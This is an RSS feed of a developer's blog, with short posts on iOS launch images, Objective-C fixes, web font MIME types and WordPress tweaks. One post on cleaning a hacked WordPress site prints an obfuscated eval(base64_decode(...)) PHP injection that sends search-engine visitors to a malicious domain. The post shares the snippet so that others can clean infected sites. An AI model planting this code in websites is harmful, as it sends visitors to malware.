<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Swift7MediaSwift7Media - </title>
	<atom:link href="http://www.swift7media.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.swift7media.com</link>
	<description></description>
	<lastBuildDate>Thu, 17 May 2012 15:12:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>iOS Launch Images</title>
		<link>http://www.swift7media.com/2012/05/17/ios-launch-images/</link>
		<comments>http://www.swift7media.com/2012/05/17/ios-launch-images/#comments</comments>
		<pubDate>Thu, 17 May 2012 15:12:54 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iOS Development]]></category>
		<category><![CDATA[@2x]]></category>
		<category><![CDATA[default-landscape.png]]></category>
		<category><![CDATA[default.png]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Launch image]]></category>
		<category><![CDATA[retina]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=215</guid>
		<description><![CDATA[When creating a new universal IOS app you need to create a minimum of 6 launch images to support the iPhone and iPad (both including their retina displays). For the iPhone you have it easy, only 2 are required. Default.png &#8211; 320 x 480 Default@2x.png &#8211; 640 x 960  For the iPad there are a [...]]]></description>
			<content:encoded><![CDATA[<p>When creating a new universal IOS app you need to create a minimum of 6 launch images to support the iPhone and iPad (both including their retina displays).</p>
<p>For the iPhone you have it easy, only 2 are required.</p>
<p>Default.png &#8211; <strong>320 x 480</strong><br />
Default@2x.png &#8211; <strong>640 x 960 </strong></p>
<p>For the iPad there are a few more:</p>
<p>Default-Portrait.png &#8211; <strong>768 x 1004</strong><br />
Default-Portrait@2x.png &#8211; <strong>1536 x 2008</strong><br />
Default-Landscape.png &#8211; <strong>1024 x 748</strong><br />
Default-Landscape@2x.png -<strong> 2048 x 1496</strong></p>
<p>You can specify images for Landscape Right and Left and also Portrait Upside Down using the names below:</p>
<p>Default-LandscapeLeft.png<br />
Default-LandscapeRight.png<br />
Default-PortraitUpsideDown.png</p>
<p>For more information on Custom images and icons <a  href="https://developer.apple.com/library/ios/#documentation/UserExperience/Conceptual/MobileHIG/IconsImages/IconsImages.html#//apple_ref/doc/uid/TP40006556-CH14-SW5">visit the apple developer site</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/05/17/ios-launch-images/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to fix &#8220;duplicate symbol _OBJC_METACLASS_$&#8221; iPhone</title>
		<link>http://www.swift7media.com/2012/05/11/how-to-fix-duplicate-symbol-_objc_metaclass_-iphone/</link>
		<comments>http://www.swift7media.com/2012/05/11/how-to-fix-duplicate-symbol-_objc_metaclass_-iphone/#comments</comments>
		<pubDate>Fri, 11 May 2012 09:33:05 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iOS Development]]></category>
		<category><![CDATA[duplicate symbol]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[OBJC_METACLASS]]></category>
		<category><![CDATA[Objective-C]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=212</guid>
		<description><![CDATA[I got this error while working on my latest iPhone app: duplicate symbol _OBJC_METACLASS_$ Turns out that after adding an NSManagedObject subclass for a Core Data entity I moved the files into a group (to make the files look neater). When I generated them again after updating the entity it create 2 sets of the files [...]]]></description>
			<content:encoded><![CDATA[<p>I got this error while working on my latest iPhone app: <em>duplicate symbol _OBJC_METACLASS_$</em></p>
<p>Turns out that after adding an NSManagedObject subclass for a Core Data entity I moved the files into a group (to make the files look neater). When I generated them again after updating the entity it create 2 sets of the files in the structure.</p>
<p>Basically I deleted both instances of the files and recreated them and that fixed the issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/05/11/how-to-fix-duplicate-symbol-_objc_metaclass_-iphone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mime Types (especially for Web Fonts)</title>
		<link>http://www.swift7media.com/2012/05/10/mime-types-for-web-fonts/</link>
		<comments>http://www.swift7media.com/2012/05/10/mime-types-for-web-fonts/#comments</comments>
		<pubDate>Thu, 10 May 2012 09:41:12 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[eot]]></category>
		<category><![CDATA[mime types]]></category>
		<category><![CDATA[svg]]></category>
		<category><![CDATA[ttf]]></category>
		<category><![CDATA[Web Fonts]]></category>
		<category><![CDATA[woff]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=207</guid>
		<description><![CDATA[I am regularly having to go in search of mime types for web fonts, so thought I would put them here so I will know exactly where to go for them. .eot      application/octet-stream .woff     application/x-font-woff .svg      image/svg+xml .ttf        application/octet-stream Feel free to add more mime types below that [...]]]></description>
			<content:encoded><![CDATA[<p>I am regularly having to go in search of mime types for web fonts, so thought I would put them here so I will know exactly where to go for them.</p>
<p><strong>.eot</strong>      application/octet-stream<br />
<strong>.woff</strong>     application/x-font-woff<br />
<strong>.svg</strong>      image/svg+xml<br />
<strong>.ttf</strong>        application/octet-stream</p>
<p>Feel free to add more mime types below that you think would be useful to others.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/05/10/mime-types-for-web-fonts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Move UITextFields when keyboard opens in iPhone app</title>
		<link>http://www.swift7media.com/2012/05/10/move-uitextfields-when-keyboard-opens-in-iphone-app/</link>
		<comments>http://www.swift7media.com/2012/05/10/move-uitextfields-when-keyboard-opens-in-iphone-app/#comments</comments>
		<pubDate>Thu, 10 May 2012 08:29:12 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iOS Development]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[TPKeyboardAvoiding]]></category>
		<category><![CDATA[UIScrollView]]></category>
		<category><![CDATA[UITextField]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=191</guid>
		<description><![CDATA[While working on my latest app, I was looking for a solution to slide the screen up when the keyboard opens so that text fields aren&#8217;t hidden by it. I came across this one: TPKeyboardAvoiding its a very simple drop in component. You copy a couple classes into your existing project, put all your elements into [...]]]></description>
			<content:encoded><![CDATA[<p>While working on my latest app, I was looking for a solution to slide the screen up when the keyboard opens so that text fields aren&#8217;t hidden by it.</p>
<p>I came across this one: <a  href="https://github.com/michaeltyson/TPKeyboardAvoiding" target="_blank">TPKeyboardAvoiding</a> its a very simple drop in component. You copy a couple classes into your existing project, put all your elements into a scroll view with the class <strong>TPKeyboardAvoidingScrollView</strong> and call a simple method and you are done.</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span>textFieldDidBeginEditing<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span>UITextField <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>textField
<span style="color: #002200;">&#123;</span>
<span style="color: #002200;">&#91;</span>scrollView adjustOffsetToIdealIfNeeded<span style="color: #002200;">&#93;</span>;
<span style="color: #002200;">&#125;</span></pre></div></div>

<p>Thanks to <a  href="http://atastypixel.com/blog/a-drop-in-universal-solution-for-moving-text-fields-out-of-the-way-of-the-keyboard/" target="_blank">this article</a> I was able to find this solution.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/05/10/move-uitextfields-when-keyboard-opens-in-iphone-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to change colour of UINavigationBar</title>
		<link>http://www.swift7media.com/2012/04/21/how-to-change-colour-of-uinavigationbar/</link>
		<comments>http://www.swift7media.com/2012/04/21/how-to-change-colour-of-uinavigationbar/#comments</comments>
		<pubDate>Sat, 21 Apr 2012 05:55:27 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iOS Development]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[tintColor]]></category>
		<category><![CDATA[UIBarStyleBlack]]></category>
		<category><![CDATA[UIBarStyleBlackOpaque]]></category>
		<category><![CDATA[UIBarStyleBlackTranslucent]]></category>
		<category><![CDATA[UIBarStyleDefault]]></category>
		<category><![CDATA[UIColor]]></category>
		<category><![CDATA[UINavigationBar]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=180</guid>
		<description><![CDATA[By default the UINavigationBar on an iOS app is blue. Apple have some built-in styles that you can use &#91;self.navigationController.navigationBar setBarStyle:UIBarStyleBlackOpaque&#93;; The options available are: UIBarStyleBlack UIBarStyleBlackOpaque UIBarStyleBlackTranslucent UIBarStyleDefault *UIBarStyleBlackOpaque and UIBarStyleTranslucent have been depreciated. You should use UIBarStyleBlack and set property &#8216;translucent&#8217; to yes if needed*. You can also change the colour to any [...]]]></description>
			<content:encoded><![CDATA[<p>By default the UINavigationBar on an iOS app is blue. Apple have some built-in styles that you can use</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #002200;">&#91;</span>self.navigationController.navigationBar setBarStyle<span style="color: #002200;">:</span>UIBarStyleBlackOpaque<span style="color: #002200;">&#93;</span>;</pre></div></div>

<p>The options available are:</p>
<ul>
<li>UIBarStyleBlack</li>
<li>UIBarStyleBlackOpaque</li>
<li>UIBarStyleBlackTranslucent</li>
<li>UIBarStyleDefault</li>
</ul>
<p><em style="font-size: 11px;">*UIBarStyleBlackOpaque and UIBarStyleTranslucent have been depreciated. You should use UIBarStyleBlack and set property &#8216;translucent&#8217; to yes if needed*.</em></p>
<p>You can also change the colour to any colour you wish using one of the two lines of codes below and adjusting the colour values.</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;">self.navigationController.navigationBar.tintColor <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>UIColor colorWithRed<span style="color: #002200;">:</span>.7 green<span style="color: #002200;">:</span>.5 blue<span style="color: #002200;">:</span>.2 alpha<span style="color: #002200;">:</span><span style="color: #2400d9;">1</span><span style="color: #002200;">&#93;</span>;
&nbsp;
self.navigationController.navigationBar.tintColor <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>UIColor blackColor<span style="color: #002200;">&#93;</span>;</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/04/21/how-to-change-colour-of-uinavigationbar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exclude Featured image from WordPress gallery</title>
		<link>http://www.swift7media.com/2012/03/21/exclude-featured-image-from-wordpress-gallery/</link>
		<comments>http://www.swift7media.com/2012/03/21/exclude-featured-image-from-wordpress-gallery/#comments</comments>
		<pubDate>Wed, 21 Mar 2012 21:32:19 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[featured images]]></category>
		<category><![CDATA[gallery]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=153</guid>
		<description><![CDATA[I needed to add the default wordpress gallery to page with a featured image but found that the featured image was also included in this gallery. The best way I found to exclude this is to add the code below to your site function exclude_thumbnail_from_gallery&#40;$null, $attr&#41; &#123;     if &#40;!$thumbnail_ID = get_post_thumbnail_id&#40;&#41;&#41;     [...]]]></description>
			<content:encoded><![CDATA[<p>I needed to add the default wordpress gallery to page with a featured image but found that the featured image was also included in this gallery.</p>
<p>The best way I found to exclude this is to add the code below to your site</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> exclude_thumbnail_from_gallery<span style="color: #009900;">&#40;</span><span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$attr</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$thumbnail_ID</span> <span style="color: #339933;">=</span> get_post_thumbnail_id<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$null</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// no point carrying on if no thumbnail ID</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// temporarily remove the filter, otherwise endless loop!</span>
    remove_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'post_gallery'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'exclude_thumbnail_from_gallery'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// pop in our excluded thumbnail</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$attr</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'exclude'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$attr</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'exclude'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$attr</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'exclude'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$thumbnail_ID</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$attr</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'exclude'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$attr</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'exclude'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$thumbnail_ID</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// now manually invoke the shortcode handler</span>
    <span style="color: #000088;">$gallery</span> <span style="color: #339933;">=</span> gallery_shortcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$attr</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// add the filter back</span>
    add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'post_gallery'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'exclude_thumbnail_from_gallery'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// return output to the calling instance of gallery_shortcode()</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$gallery</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'post_gallery'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'exclude_thumbnail_from_gallery'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>I found this solution here: <a  href="http://stackoverflow.com/a/4347635">http://stackoverflow.com/a/4347635</a>. Its an old post but still works.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/03/21/exclude-featured-image-from-wordpress-gallery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Day 2 of Developing with EpiServer Relate 2 R2</title>
		<link>http://www.swift7media.com/2012/03/14/day-2-of-developing-with-episerver-relate-2-r2/</link>
		<comments>http://www.swift7media.com/2012/03/14/day-2-of-developing-with-episerver-relate-2-r2/#comments</comments>
		<pubDate>Wed, 14 Mar 2012 09:30:06 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[.Net]]></category>
		<category><![CDATA[EPiServer]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=144</guid>
		<description><![CDATA[Day 2 of Developing with EpiServer Relate 2 R2]]></description>
			<content:encoded><![CDATA[<p>Day 2 of Developing with EpiServer Relate 2 R2</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/03/14/day-2-of-developing-with-episerver-relate-2-r2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Web Fonts</title>
		<link>http://www.swift7media.com/2012/02/28/google-web-fonts/</link>
		<comments>http://www.swift7media.com/2012/02/28/google-web-fonts/#comments</comments>
		<pubDate>Tue, 28 Feb 2012 13:40:02 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Web Fonts]]></category>
		<category><![CDATA[Web Fonts]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=122</guid>
		<description><![CDATA[I thought that Google Web Fonts deserved a post here. I used it in a website yesterday for the first time. I have done tests previously but haven&#8217;t actually used it. Admittedly there aren&#8217;t as many fonts on there as TypeKit or Fonts.com but they still have a decent selection. It is extremely easy to pick your [...]]]></description>
			<content:encoded><![CDATA[<p>I thought that <a  href="http://www.google.com/webfonts">Google Web Fonts</a> deserved a post here.</p>
<p>I used it in a website yesterday for the first time. I have done tests previously but haven&#8217;t actually used it.<br />
Admittedly there aren&#8217;t as many fonts on there as TypeKit or Fonts.com but they still have a decent selection.</p>
<p>It is extremely easy to pick your fonts and integrate them into your website. To integrate them you just reference a CSS file on the Google servers and then use a predefined name in the font-family css tag.</p>
<p>Its definitely worth a try if you haven&#8217;t already and best of all, its free!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/02/28/google-web-fonts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress site redirects to costabrava.bee.pl</title>
		<link>http://www.swift7media.com/2012/02/27/wordpress-site-redirects-to-costabrava-bee-pl/</link>
		<comments>http://www.swift7media.com/2012/02/27/wordpress-site-redirects-to-costabrava-bee-pl/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 21:26:30 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=113</guid>
		<description><![CDATA[I have just finished cleaning a wordpress website that had been hacked. The site would redirect to costabrava.bee.pl which is a malicious website. Due to this Google began showing a warning page whenever someone navigates to that site, informing them that the site is infected. I had to go through the site and locate all [...]]]></description>
			<content:encoded><![CDATA[<p>I have just finished cleaning a wordpress website that had been hacked. The site would redirect to costabrava.bee.pl which is a malicious website.</p>
<p>Due to this Google began showing a warning page whenever someone navigates to that site, informing them that the site is infected.</p>
<p>I had to go through the site and locate all of the instances of code that looked like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWh
lYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWyd
IVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0
KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cml
zdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIik
gb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImx
pdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJ
lZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN
0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R
1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R
yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV
4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19
tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cig
kcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9
vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3R
yaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmw
iKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik
7DQpleGl0KCk7DQp9DQp9DQp9DQp9&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This code had been inserted in lots of the files on the site. It can be very time consuming to find the offending files. I cleaned the site by using Adobe Dreamweaver, downloading the whole site, including all the WordPress files, not just the theme files and ran a Find All for &#8220;eval&#8221; on the entire local site. From there I could see all the files that had the offending code and I was able to delete them and re-upload the cleaned file.</p>
<p>Obviously, cleaning the site isn&#8217;t the only thing that needs to be done, change all your passwords for the site and ensure they are very secure. Also make sure your WordPress is up-to-date and any plugins you are using.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/02/27/wordpress-site-redirects-to-costabrava-bee-pl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML5 Boilerplate</title>
		<link>http://www.swift7media.com/2012/02/24/html5-boilerplate/</link>
		<comments>http://www.swift7media.com/2012/02/24/html5-boilerplate/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 11:06:40 +0000</pubDate>
		<dc:creator>Darren</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Modernizr]]></category>

		<guid isPermaLink="false">http://www.swift7media.com/?p=110</guid>
		<description><![CDATA[http://html5boilerplate.com/ This template is a great starting point when creating a new website. The template contains jQuery, Modernizr, uses HTML5 tags and CSS3 also. The template comes with and index.html page which should be base of all your pages in the site, it also has a 404.html page which can easily be changed to fit [...]]]></description>
			<content:encoded><![CDATA[<p><a  href="http://html5boilerplate.com/">http://html5boilerplate.com/</a></p>
<p>This template is a great starting point when creating a new website. The template contains <a  href="http://jquery.com/">jQuery</a>, <a  href="http://www.modernizr.com/">Modernizr</a>, uses HTML5 tags and CSS3 also.</p>
<p>The template comes with and index.html page which should be base of all your pages in the site, it also has a 404.html page which can easily be changed to fit your sites theme.The template also handles using HTML5 tags in older tags with the aid of the <a  href="http://www.modernizr.com/">Modernizr </a>script.</p>
<p>Its definitely worth trying it out for any sites you need to create.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.swift7media.com/2012/02/24/html5-boilerplate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

